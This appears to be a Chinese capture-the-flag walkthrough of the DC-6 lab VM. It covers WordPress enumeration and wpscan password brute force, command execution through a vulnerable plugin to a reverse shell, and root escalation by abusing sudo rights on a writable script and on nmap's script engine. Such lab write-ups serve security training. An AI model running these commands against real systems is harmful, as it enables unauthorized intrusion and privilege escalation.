下载安装运行虚拟靶机DC-6
由于我给靶机设置的是nat模式,而我nat模式的网段是192.168.100.0/24,因此使用nmap扫描该网段,发现靶机使用IP。
使用for 循环ping的方式发现靶机IP地址。
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.100.%I | findstr "TTL="
使用nmap扫描IP地址开放的端口。
发现开放22端口和80端口,访问80端口。
访问80端口失败,发现IP变成了域名,推测缺少DNS映射,手工添加一条DNS映射。
vim /etc/hosts/
192.168.100.130 wordy
再次访问80端口,正常。
从简介中得出,也可以从页面,robots文件,后台目录看出,这是个wordpress的cms。于是就用wpscan扫描一下。发现了4个用户名。
看见用户名,于是就想先尝试爆破一下。没有密码怎么办,cewl抓取网页生成一下。
cewl http://wordy/ -w psdc6.txt
有了密码之后,然后使用wpscan进行爆破。
wpscan --url http://wordy/ -e u -P /home/shy/psdc6.txt
果然有效的密码没有找到,这个时候突然想到,下载靶机的时候作者有给提示,要用kali自带的一个字典进行爆破。
gzip -d /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists/rockyou.txt | grep k01 >dc6.txt
然后使用这个字典进行爆破。
爆破成功,用户名为mark、密码为helpdesk01,看到密码,我就明白为什么要加grep k01了。
有了密码之后,就后台登陆,WordPress的后台一般是wp-admin、wp-login,或者直接用御剑扫描就可以。
访问后台登陆页面。
使用爆破之后的账号密码成功登陆。
百度说下面这个组件存在漏洞。
kali上搜索一次该组件的漏洞情况。
searchsploit activity
看了一下说存在命令执行漏洞。
修改长度,执行反弹命令。
kali接收到反弹的shell。
使用python完善这个反弹的shell。
python -c 'import pty;pty.spawn("/bin/bash")'
查看当前用户mark目录,发现一个新账号密码。
切换账号密码
sudo -l 发现jens用户可以在没有密码的条件下以root权限执行backup.sh脚本。
查看脚本内容,解压备份文件,到网站根目录。没有可利用的点。
sudo -u jens /home/jens/backups.sh
思考:让jens执行/bin/bash不就直接得到了jens的shell了吗
成功获取到jens的shell。
echo "/bin/bash" > backups.sh
sudo -u jens /home/jens/backups.sh
查看jens的shell是否具有root权限的命令:sudo -l
发现他可以不需要密码,以root权限运行nmap。而nmap又可以执行命令。
让nmap执行一个shell命令(/bin/sh),这个shell也变变成了root权限
echo 'os.execute("/bin/sh")' > getShell.nse
sudo -u root nmap --script=getShell.nse